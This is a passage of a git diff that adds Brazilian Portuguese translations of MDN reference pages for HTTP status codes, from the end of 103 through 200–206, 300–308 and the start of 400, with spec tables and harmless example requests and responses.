RFC</span></td> + <td>Definição inicial</td> + </tr> + </tbody> +</table> + +<h2 id="Comptabilidade_de_navegador">Comptabilidade de navegador</h2> + + + +<p>{{Compat("http.status.103")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Link")}}</li> +</ul> diff --git a/files/pt-br/web/http/status/200/index.html b/files/pt-br/web/http/status/200/index.html new file mode 100644 index 0000000000..362874530b --- /dev/null +++ b/files/pt-br/web/http/status/200/index.html @@ -0,0 +1,52 @@ +--- +title: 200 OK +slug: Web/HTTP/Status/200 +translation_of: Web/HTTP/Status/200 +--- +<div> +<p>{{HTTPSidebar}}</p> + +<p>O código HTTP <strong><code>200 OK</code></strong> é a resposta de status de sucesso que indica que a requisição foi bem sucedida. Uma resposta 200 é cacheável por padrão.</p> +</div> + +<p>O significado de sucesso depende do método de requisição HTTP: </p> + +<ul> + <li>{{HTTPMethod("GET")}}: O recurso foi carregado e transmitido no corpo da mensagem.</li> + <li>{{HTTPMethod("HEAD")}}: Os cabeçalhos da entidade estão no corpo da mensagem.</li> + <li>{{HTTPMethod("POST")}}: O recurso descrevendo o resultado da ação é transmitido no corpo da mensagem.</li> + <li>{{HTTPMethod("TRACE")}}: O corpo da mensagem contém a mensagem da requisição tal qual foi recebida pelo servidor.</li> +</ul> + +<p>O resultado de sucesso de um {{HTTPMethod("PUT")}} ou {{HTTPMethod("DELETE")}} geralmente não são <code>200 </code><code>OK</code>, e sim {{HTTPStatus("204")}} <code>No Content</code> (ou {{HTTPStatus("201")}} <code>Created</code> quando o recurso é carregado pela primeira vez).</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">200 OK</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7231", "200 OK" , "6.3.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegadores">Compatibilidade de navegadores</h2> + +<p class="hidden">A tabela de compatibilidade nesta página é gerada por dados estruturados. Se você gostaria de contribuir com estes dados, por favor vá a <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e envie-nos um <em lang="en">pull request</em>.</p> + +<p>{{Compat("http.status.200")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Methods">HTTP request methods</a></li> +</ul> diff --git a/files/pt-br/web/http/status/201/index.html b/files/pt-br/web/http/status/201/index.html new file mode 100644 index 0000000000..a77feeeee8 --- /dev/null +++ b/files/pt-br/web/http/status/201/index.html @@ -0,0 +1,41 @@ +--- +title: 201 Created +slug: Web/HTTP/Status/201 +translation_of: Web/HTTP/Status/201 +--- +<div>{{HTTPSidebar}}</div> + +<p>O status HTTP "<strong>201 Created</strong>" é utilizado como resposta de sucesso, indica que a requisição foi bem sucedida e que um novo recurso foi criado. Este novo recurso é efetivamente criado antes do retorno da resposta e o novo recurso é enviado no corpo da mensagem (pode vir na URL ou na header {{HTTPHeader("Location")}}).</p> + +<p>Comumente, este status é utilizado em requisições do tipo {{HTTPMethod("POST")}}.</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">201 Created</pre> + +<h2 id="Especificações">Especificações </h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7231", "201 Created" , "6.3.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_com_navegadores">Compatibilidade com navegadores</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.201")}}</p> + +<h2 id="Veja_mais">Veja mais</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Methods">HTTP request methods</a></li> +</ul> diff --git a/files/pt-br/web/http/status/202/index.html b/files/pt-br/web/http/status/202/index.html new file mode 100644 index 0000000000..a8947da1a4 --- /dev/null +++ b/files/pt-br/web/http/status/202/index.html @@ -0,0 +1,37 @@ +--- +title: 202 Accepted +slug: Web/HTTP/Status/202 +tags: + - Código 202 + - Código de status + - HTTP + - Referencia + - Resposta bem-sucedida +translation_of: Web/HTTP/Status/202 +--- +<p>O código resposta HyperText Transfer Protocol (HTTP) <code><strong>202 Accepted</strong></code> indica que a requisição foi recebida, mas não pode atuar ainda. Ela é sem compromisso, significando que não há maneira de o HTTP enviar posteriormente uma resposta assíncrona indicando a saída do processamento da requisição. A intenção desta resposta é para os casos onde outro processo ou, ainda, servidor lida com a requisição ou para processamentos <em>batch.</em></p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">202 Accepted</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7231", "202 Accepted" , "6.3.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Accept")}}</li> +</ul> diff --git a/files/pt-br/web/http/status/203/index.html b/files/pt-br/web/http/status/203/index.html new file mode 100644 index 0000000000..9e8785fa7d --- /dev/null +++ b/files/pt-br/web/http/status/203/index.html @@ -0,0 +1,37 @@ +--- +title: 203 Non-Authoritative Information +slug: Web/HTTP/Status/203 +translation_of: Web/HTTP/Status/203 +--- +<div>{{HTTPSidebar}}</div> + +<p>A resposta com status HTTP <strong><code>203 Non-Authoritative Information</code></strong> indica que a requisição foi realizada com sucesso porém o conteúdo foi modificado por um {{Glossary("Proxy server", "proxy")}} da resposta com status {{HTTPStatus("200")}} (<code>OK</code>) do servidor de origem.</p> + +<p>A resposta <code>203</code> é similar a resposta com cabeçalho de {{HTTPHeader("Warning")}} <code><a href="/en-US/docs/Web/HTTP/Headers/Warning#Warning_codes">214</a></code>, significando <code>Transformação Aplicada</code>, o qual tem uma vantagem adicional que pode ser aplicado a respostas com qualquer código de status.</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">203 Non-Authoritative Information</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "203 Non-Authoritative Information" , "6.3.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPStatus("200")}}</li> + <li>{{Glossary("Proxy server")}}</li> + <li>{{HTTPHeader("Warning")}}</li> +</ul> diff --git a/files/pt-br/web/http/status/204/index.html b/files/pt-br/web/http/status/204/index.html new file mode 100644 index 0000000000..f23f834ee6 --- /dev/null +++ b/files/pt-br/web/http/status/204/index.html @@ -0,0 +1,49 @@ +--- +title: 204 No Content +slug: Web/HTTP/Status/204 +translation_of: Web/HTTP/Status/204 +--- +<div>{{HTTPSidebar}}</div> + +<p>O código de resposta HTTP de status de sucesso <strong><code>204 No Content</code></strong> indica que a solicitação foi bem sucedida e o cliente não precisa sair da página atual. Uma resposta <code>204</code> é armazenada em cache por padrão. Um cabeçalho {{HTTPHeader("ETag")}} está incluso na resposta.</p> + +<p>O caso de uso comum é retornar <code>204</code> como resultado de uma solicitação {{HTTPMethod("PUT")}}, atualizando um recurso, sem alterar o conteúdo atual da página exibida para o usuário. Se o recurso for criado, {{HTTPStatus("201")}} <code>Created</code> será retornado. Se a página for alterada para a página recém-atualizada, o {{HTTPStatus ("200")}} deve ser usado em vez disso.</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">204 No Content</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7231", "204 No Content" , "6.3.5")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade">Compatibilidade</h2> + +<p class="hidden">A tabela de compatibilidade nesta página é gerada de uma estrutura de dados. Se você gostaria de contribuir com esses dados, por favor acesse <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e envie-nos um <em lang="en">pull request</em>.</p> + +<p>{{Compat("http.status.204")}}</p> + +<h2 id="Notas_de_compatibilidade">Notas de compatibilidade</h2> + +<ul> + <li>Embora este código de status seja destinado a descrever uma resposta sem corpo, os servidores podem incluir dados erroneamente após os cabeçalhos. O protocolo permite que os agentes do usuário variem em como eles processam essas respostas (<a href="https://github.com/httpwg/http11bis/issues/26">a discussão sobre este texto da especificação pode ser encontrada aqui</a>). Isso é observável em conexões persistentes, onde o corpo inválido pode incluir uma resposta distinta a uma solicitação subseqüente.<br> + <br> + O Apple Safari rejeita qualquer desses dados. O Google Chrome e o Microsoft Edge descartam até quatro bytes inválidos que precedem uma resposta válida. O Firefox tolera mais de um kilobyte de dados inválidos que precedem uma resposta válida.</li> +</ul> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Methods">Métodos de requisições HTTP</a></li> +</ul> diff --git a/files/pt-br/web/http/status/205/index.html b/files/pt-br/web/http/status/205/index.html new file mode 100644 index 0000000000..ab202e5f88 --- /dev/null +++ b/files/pt-br/web/http/status/205/index.html @@ -0,0 +1,39 @@ +--- +title: 205 Reset Content +slug: Web/HTTP/Status/205 +translation_of: Web/HTTP/Status/205 +--- +<div>{{HTTPSidebar}}</div> + +<p>O código de estado HTTP <strong><code>205 Reset Content</code></strong> informa ao cliente para reconfigurar a visualização do documento, para, por exemplo, limpar o conteúdo de um formulário, redefinir um estado da tela ou atualizar a interface do usuário.</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">205 Reset Content</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "205 Reset Content" , "6.3.6")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibility_Notes">Compatibility Notes</h2> + +<ul> + <li>O comportamento do Browser é diferente se a resposta de forma errada incluir um Body nas conexões persistentes, veja <a href="/en-US/docs/Web/HTTP/Status/204">204 No Content</a> para mais detalhes.</li> +</ul> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPStatus(204)}} No Content</li> +</ul> diff --git a/files/pt-br/web/http/status/206/index.html b/files/pt-br/web/http/status/206/index.html new file mode 100644 index 0000000000..909a0f4ceb --- /dev/null +++ b/files/pt-br/web/http/status/206/index.html @@ -0,0 +1,85 @@ +--- +title: 206 Partial Content +slug: Web/HTTP/Status/206 +tags: + - Código de status + - HTTP + - Sucesso +translation_of: Web/HTTP/Status/206 +--- +<div>{{HTTPSidebar}}</div> + +<p>O código de resposta do status de sucesso <strong><code>206 Partial Content</code></strong> indica que a requisição teve sucesso e o corpo contém a sequência (em bytes) dos dados, como descrito no cabeçalho {{HTTPHeader("Range")}} da requisição.</p> + +<p>Se existe somente uma sequência, o {{HTTPHeader("Content-Type")}} de toda a resposta é colocado para o tipo do documento, e o cabeçalho {{HTTPHeader("Content-Range")}} é provido.</p> + +<p>Se várias sequências são mandadas como resposta, o {{HTTPHeader("Content-Type")}} é colocado para <code>multipart/byteranges</code> e cada fragmento cobre uma sequência, com {{HTTPHeader("Content-Range")}} e {{HTTPHeader("Content-Type")}} descrevendo-os.</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">206 Partial Content</pre> + +<h2 id="Exemplos">Exemplos</h2> + +<p>Uma resposta contendo uma única sequência:</p> + +<pre class="newpage">HTTP/1.1 206 Partial Content +Date: Wed, 15 Nov 2015 06:25:24 GMT +Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT +Content-Range: bytes 21010-47021/47022 +Content-Length: 26012 +Content-Type: image/gif + +... 26012 bytes de dados parciais de uma imagem ...</pre> + +<p>Uma resposta contendo várias sequências:</p> + +<pre class="newpage">HTTP/1.1 206 Partial Content +Date: Wed, 15 Nov 2015 06:25:24 GMT +Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT +Content-Length: 1741 +Content-Type: multipart/byteranges; boundary=String_separator + +--String_separator +Content-Type: application/pdf +Content-Range: bytes 234-639/8000 + +...a primeira sequência... +--String_separator +Content-Type: application/pdf +Content-Range: bytes 4590-7999/8000 + +...a segunda sequência +--String_separator--</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7233", "206 Partial Content" , "4.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.206")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("If-Range")}}</li> + <li>{{HTTPHeader("Range")}}</li> + <li>{{HTTPHeader("Content-Range")}}</li> + <li>{{HTTPHeader("Content-Type")}}</li> +</ul> diff --git a/files/pt-br/web/http/status/300/index.html b/files/pt-br/web/http/status/300/index.html new file mode 100644 index 0000000000..bee670b09a --- /dev/null +++ b/files/pt-br/web/http/status/300/index.html @@ -0,0 +1,43 @@ +--- +title: 300 Multiple Choices +slug: Web/HTTP/Status/300 +tags: + - HTTP + - HTTP Status Code + - Reference + - Status code +translation_of: Web/HTTP/Status/300 +--- +<div>{{HTTPSidebar}}</div> + +<p>O código de resposta HTTP do status de redirecionamento <code><strong>300 Multiple Choices</strong></code> indica que a requisição tem uma ou mais possíveis respostas. O agente de usuário ou o usuário devem escolher uma delas. Como não há forma padrão de se escolher uma das respostas, esse código de resposta é raramente usado.</p> + +<p>Se o servidor tem uma escolha de preferência, ele deve gerar um cabeçalho {{HTTPHeader("Localização")}}.</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">300 Multiple Choices +</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7231", "300 Multiple Choices" , "6.4.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPStatus("301")}} <code>Moved Permanently</code></li> + <li>{{HTTPStatus("302")}} <code>Found</code>, o redirecionamento temporário</li> + <li>{{HTTPStatus("308")}} <code>Permanent Redirect</code></li> +</ul> diff --git a/files/pt-br/web/http/status/301/index.html b/files/pt-br/web/http/status/301/index.html new file mode 100644 index 0000000000..08c0891bdd --- /dev/null +++ b/files/pt-br/web/http/status/301/index.html @@ -0,0 +1,61 @@ +--- +title: 301 Moved Permanently +slug: Web/HTTP/Status/301 +tags: + - Código de status + - HTTP + - Redirecionamento + - Redirect + - Reference + - Status code +translation_of: Web/HTTP/Status/301 +--- +<div>{{HTTPSidebar}}</div> + +<p>O código de resposta de status de redirecionamento <code><strong>301 Moved Permanently</strong></code> do protocolo HTTP indica que o recurso requisitado foi movido permanentemente para a URL dada pelo cabeçalho {{HTTPHeader("Localização")}} headers. Um navegador redireciona para essa página e o motor de busca atualiza os links para o recurso (na linguagem 'SEO', é dito que o "suco do link" ('link-juice') é enviado à nova URL).</p> + +<p>Mesmo que a especificação exija que o método (e corpo) não sejam alterados quando o redirecionamento seja executado, nem todos os agentes de usuário são alinhados com isso, você ainda pode encontrar alguns softwares com "bugs" que não o seguem. É recomendado que se use o código 301 somente como resposta para os métodos {{HTTPMethod("GET")}} ou {{HTTPMethod("Head")}} e use {{HTTPStatus("308","308 Permanent Redirect")}} para {{HTTPMethod("POST")}}, para proibir explicitamente o uso do método com esse status.</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">301 Moved Permanently</pre> + +<h2 id="Exemplo">Exemplo</h2> + +<h3 id="Requisição_do_cliente">Requisição do cliente</h3> + +<pre>GET /index.php HTTP/1.1 +Host: www.example.org</pre> + +<h3 id="Resposta_do_servidor">Resposta do servidor</h3> + +<pre>HTTP/1.1 301 Moved Permanently +Location: http://www.example.org/index.asp</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7231", "301 Moved Permanently" , "6.4.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + + + +<p>{{Compat("http.status.301")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPStatus("308", "308 Permanent Redirect")}}</li> + <li>{{HTTPStatus("302", "302 Found")}}, o redirecionamento temporário.</li> +</ul> diff --git a/files/pt-br/web/http/status/302/index.html b/files/pt-br/web/http/status/302/index.html new file mode 100644 index 0000000000..ee2d912e74 --- /dev/null +++ b/files/pt-br/web/http/status/302/index.html @@ -0,0 +1,51 @@ +--- +title: 302 Found +slug: Web/HTTP/Status/302 +tags: + - Codigo de Estado + - HTTP + - Redirecionamento +translation_of: Web/HTTP/Status/302 +--- +<div>{{HTTPSidebar}}</div> + +<p>O código de estado HyperText Transfer Protocol (HTTP) <code><strong>302 Found</strong></code> indica que o recurso foi temporariamente movido para a URL informada pelo cabeçalho {{HTTPHeader("Localização")}}. Os navegadores redirecionar para essa página porém os motores de busca não atualizam o link inicial.</p> + +<p>Mesmo que a requisição requer que o método (e o corpo) não sejam alterados quando o redirecionamento é feito, nem todos os user-agent entram em conformidade - ainda é comum encontrar softwares com bugs neste quesito. Por isso, é recomendado habilitar o código <code>302</code> somente em resposta aos métodos {{HTTPMethod("GET")}} ou {{HTTPMethod("HEAD")}} e utilizar o método {{HTTPStatus("307", "307 Temporary Redirect")}} em outros casos, já que a troca de método é expressamente proibida nesse caso.</p> + +<p>Em casos onde você deseja que o método utilizado altere para {{HTTPMethod("GET")}}, utilize {{HTTPStatus("303", "303 See Other")}}. Isto é útil quando você deseja dar uma resposta a um método {{HTTPMethod("PUT")}} que não seja um recurso, mas uma mensagem de confirmação, como por exemplo: 'você enviou XYZ com sucesso'.</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">302 Encontrado</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7231", "302 Found" , "6.4.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + + + +<p>{{Compat("http.status.302")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPStatus("307", "307 Temporary Redirect")}}, o equivalente a esse código de estado quando o método utilizado nunca é alterado.</li> + <li>{{HTTPStatus("303", "303 See Other")}}, um redirecionamento tmeporario que altera o método utilizado para {{HTTPMethod("GET")}}.</li> + <li>{{HTTPStatus("301", "301 Moved Permanently")}}, o redirecionamento permanente.</li> +</ul> diff --git a/files/pt-br/web/http/status/303/index.html b/files/pt-br/web/http/status/303/index.html new file mode 100644 index 0000000000..7585f8f04c --- /dev/null +++ b/files/pt-br/web/http/status/303/index.html @@ -0,0 +1,46 @@ +--- +title: 303 See Other +slug: Web/HTTP/Status/303 +tags: + - Código de Status HTTP + - HTTP + - Redirecionamento + - Referencia +translation_of: Web/HTTP/Status/303 +--- +<p>{{HTTPSidebar}}</p> + +<p>O código de resposta de status de redirecionamento do HyperText Transfer Protocol (HTTP) <code><strong>303 See Other</strong></code> indica que o direcionamento não une a um recurso carregado novo, mas a outra página, com uma página de confirmação ou de progresso de carregamento. Este código de resposta normalmente é retornado como resultado de um {{HTTPMethod("PUT")}} ou {{HTTPMethod("POST")}}. O método usado para mostrar esta página redirecionada é sempre {{HTTPMethod("GET")}}. </p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">303 See Other</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7231", "303 See Other" , "6.4.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatilibilidade_de_navegador">Compatilibilidade de navegador</h2> + +<p>A informação mostrada abaixo foi retirada do Github da MDN (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p> + +<p class="hidden">A tabela de comaptibilidade nesta página é gerada de um dado estruturado. Se você não quiser contribuir com os dados, por favor verifique a página <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e mande-nos uma pergunta.</p> + +<p>{{Compat("http.status.303")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPStatus("302")}} <code>Found</code>, the temporary redirect</li> +</ul> diff --git a/files/pt-br/web/http/status/304/index.html b/files/pt-br/web/http/status/304/index.html new file mode 100644 index 0000000000..426955905c --- /dev/null +++ b/files/pt-br/web/http/status/304/index.html @@ -0,0 +1,57 @@ +--- +title: 304 Not Modified +slug: Web/HTTP/Status/304 +tags: + - HTTP + - Redirecionamento + - Referencia + - Status code +translation_of: Web/HTTP/Status/304 +--- +<div>{{HTTPSidebar}}</div> + +<p>O código de resposta HTTP de redirecionamento do cliente <code><strong>304</strong></code> <code><strong>Not Modified</strong></code> indica que não há necessidade de retransmitir a requisição de recursos. É um redirecionamento implícito para o recurso em cache. Isto ocorre quando o método de requisição é {{glossary("safe")}}, assim como uma requisição {{HTTPMethod("GET")}} ou {{HTTPMethod("HEAD")}}, ou quando a requisição é condicional e usa um cabeçalho {{HTTPHeader("If-None-Match")}} ou {{HTTPHeader("If-Modified-Since")}}.</p> + +<p>A resposta equivalente {{HTTPStatus("200")}} <code>OK</code> teria incluso os cabeçalhos {{HTTPHeader("Cache-Control")}}, {{HTTPHeader("Content-Location")}}, {{HTTPHeader("Date")}}, {{HTTPHeader("ETag")}}, {{HTTPHeader("Expires")}}, e {{HTTPHeader("Vary")}}.</p> + +<div class="note"> +<p>Vários <a href="/en-US/docs/Tools/Network_Monitor">painéis de rede de ferramentas de desenvolvedor</a> dos navegadores criam requisições irrelevantes direcionando para respostas <code>304</code>, logo este acesso ao cache local é visível aos desenvolvedores.</p> +</div> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">304 Not Modified</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7232", "304 Not Modified" , "4.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_do_navegador">Compatibilidade do navegador</h2> + +<p class="hidden">A tabela de compatibilidade nesta página é gerada apartir de dados estruturados. Se quiser contribuir para os dados, por favor acesse <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e envie nos um pull request.</p> + +<p>{{Compat("http.status.304")}}</p> + +<h2 id="Notas_de_Compatibilidade">Notas de Compatibilidade</h2> + +<ul> + <li>O comportamento do navegador difere se em conexões persistentes a resposta erroneamente incluir um corpo. Leia <a href="/en-US/docs/Web/HTTP/Status/204">204 No Content</a> para mais detalhes.</li> +</ul> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("If-Modified-Since")}}</li> + <li>{{HTTPHeader("If-None-Match")}}</li> +</ul> diff --git a/files/pt-br/web/http/status/307/index.html b/files/pt-br/web/http/status/307/index.html new file mode 100644 index 0000000000..ead3156adb --- /dev/null +++ b/files/pt-br/web/http/status/307/index.html @@ -0,0 +1,48 @@ +--- +title: 307 Redirecionamento temporário +slug: Web/HTTP/Status/307 +translation_of: Web/HTTP/Status/307 +--- +<div>{{HTTPSidebar}}</div> + +<p>{{Glossary("HTTP")}} O código de estado <code><strong>307 Redirecionamento temporário</strong></code> indica que o recurso da requisição foi temporariamente alterado para a URL informada no cabeçalho {{HTTPHeader("Location")}}.</p> + +<p>O método e o corpo da requisição original são reutilizados para realizar a requisição de redirecionamento. Em casos onde você deseja que o método utilizado seja alterado para {{HTTPMethod("GET")}}, utilize o código de estado {{HTTPStatus("303", "303 See Other")}}. Isto é util quando você deseja dar uma resposta a um método {{HTTPMethod("PUT")}} que não seja o recurso enviado, mas uma mensagem de confirmação (como por exemplo "Envio de XYZ concluído com sucesso").</p> + +<p>A única diferença entre <code>307</code> e {{HTTPStatus("302")}} é que o <code>307</code> garante que o método e o corpo não são alterados quando o redirecionamento é feito. Com o <code>302</code>, alguns clientes antigos alteram o método para {{HTTPMethod("GET")}}: o comportamento com métodos não-<code>GET</code> e <code>302</code> fica assim imprevisível na Web, enquanto o comportamento com <code>307</code> é previsível. Para requisições <code>GET</code>, seu comportamento é identico.</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox notranslate">307 Redirecionamento temporário +</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7231", "307 Temporary Redirect" , "6.4.7")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_entre_navegadores">Compatibilidade entre navegadores</h2> + + + +<p>{{Compat("http.status.307")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPStatus("302", "302 Found")}}, o equivalente a este código de estado, que pode mudar o método utilizado quiando não é um {{HTTPMethod("GET")}}.</li> + <li>{{HTTPStatus("303", "303 See Other")}}, um redirecionamento temporário que altera o método utilizado para {{HTTPMethod("GET")}}.</li> + <li>{{HTTPStatus("301", "301 Moved Permanently")}}, um redirecionamento permanente.</li> +</ul> diff --git a/files/pt-br/web/http/status/308/index.html b/files/pt-br/web/http/status/308/index.html new file mode 100644 index 0000000000..7bf6837aab --- /dev/null +++ b/files/pt-br/web/http/status/308/index.html @@ -0,0 +1,50 @@ +--- +title: 308 Permanent Redirect +slug: Web/HTTP/Status/308 +tags: + - HTTP + - HTTP Status Code + - Redirecionamento +translation_of: Web/HTTP/Status/308 +--- +<div>{{HTTPSidebar}}</div> + +<p>O código de resposta do status de redirecionamento <code><strong>308 Redirecionamento Permanente</strong></code> do Protocolo de Transferência de Hipertexto (HTTP) indica que o recurso requisitado foi movido definitivamente para o URL dado pelo cabeçalho {{HTTPHeader("Localização")}}. O navegador redireciona para essa página e o motor de busca atualiza os seus links para o recurso (na linguagem 'SEO', é dito que o "suco do link" ('link-juice') é enviado à nova URL).</p> + +<p>O método de requisição e o corpo não será alterado, onde talvez o status {{HTTPStatus("301")}} seja modificado incorretamente para o método {{HTTPMethod("GET")}}.</p> + +<div class="note"> +<p><strong>Nota: </strong>Algumas aplicações Web podem usar o <code>308 Permanent Redirect</code> de forma não convencional e para outros propósitos. Por exemplo, Google Drive usa a resposta <code>308 Resume Incomplete</code> para indicar ao cliente quando um upload incompleto parou.<sup><a href="https://developers.google.com/drive/v3/web/manage-uploads#resumable">[1]</a></sup></p> +</div> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">308 Redirecionamento Permanente</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7538", "308 Permanent Redirect" , "3")}}</td> + <td>The Hypertext Transfer Protocol Status Code 308 (Permanent Redirect)</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("http.status.308")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPStatus("301", "301 Moved Permanently")}}</li> + <li>{{HTTPStatus("302", "302 Found")}}, o redirecionamento temporário</li> +</ul> diff --git a/files/pt-br/web/http/status/400/index.html b/files/pt-br/web/http/status/400/index.html new file mode 100644 index 0000000000..50c1163ae6 --- /dev/null +++ b/files/pt-br/web/http/status/400/index.html @@ -0,0 +1,46 @@ +--- +title: 400 Bad Request +slug: Web/HTTP/Status/400 +tags: + - Client error + - Código HTTP + - Erro chamada de cliente + - HTTP + - HTTP Status Code + - Reference + - Referencia + - Status code +translation_of: Web/HTTP/Status/400 +--- +<div>{{HTTPSidebar}}</div> + +<p>O código de status de resposta HTTP <code><strong>400 Bad Request</strong></code> indica que o servidor não pode ou não irá processar a requisição devido a alguma coisa que foi entendida como um erro do cliente (por exemplo, sintaxe de requisição mal formada, enquadramento de mensagem de 